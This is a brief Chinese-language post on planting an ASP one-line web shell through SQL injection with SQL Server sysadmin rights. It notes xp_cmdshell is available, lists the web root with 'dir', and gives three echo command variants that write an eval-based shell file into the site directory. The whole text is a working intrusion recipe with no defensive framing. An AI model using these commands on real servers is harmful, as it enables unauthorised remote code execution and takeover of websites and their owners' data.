SA权限ECHO写一句话
- 发表于
- 周边
注入点是SA权限.
xp_cmdshell是存在的.
找到网站主目录 dir d:\wwwroot
找到站点的目录后.
|
1 2 3 |
Echo ^<%eval request("#")%>^ >d:\wwwroot\xx\ok.asp echo ^<%eval request("#")%^> >d:\wwwroot\xx\ok.asp echo "<%eval request("#")%>" >d:\wwwroot\xx\ok.asp |
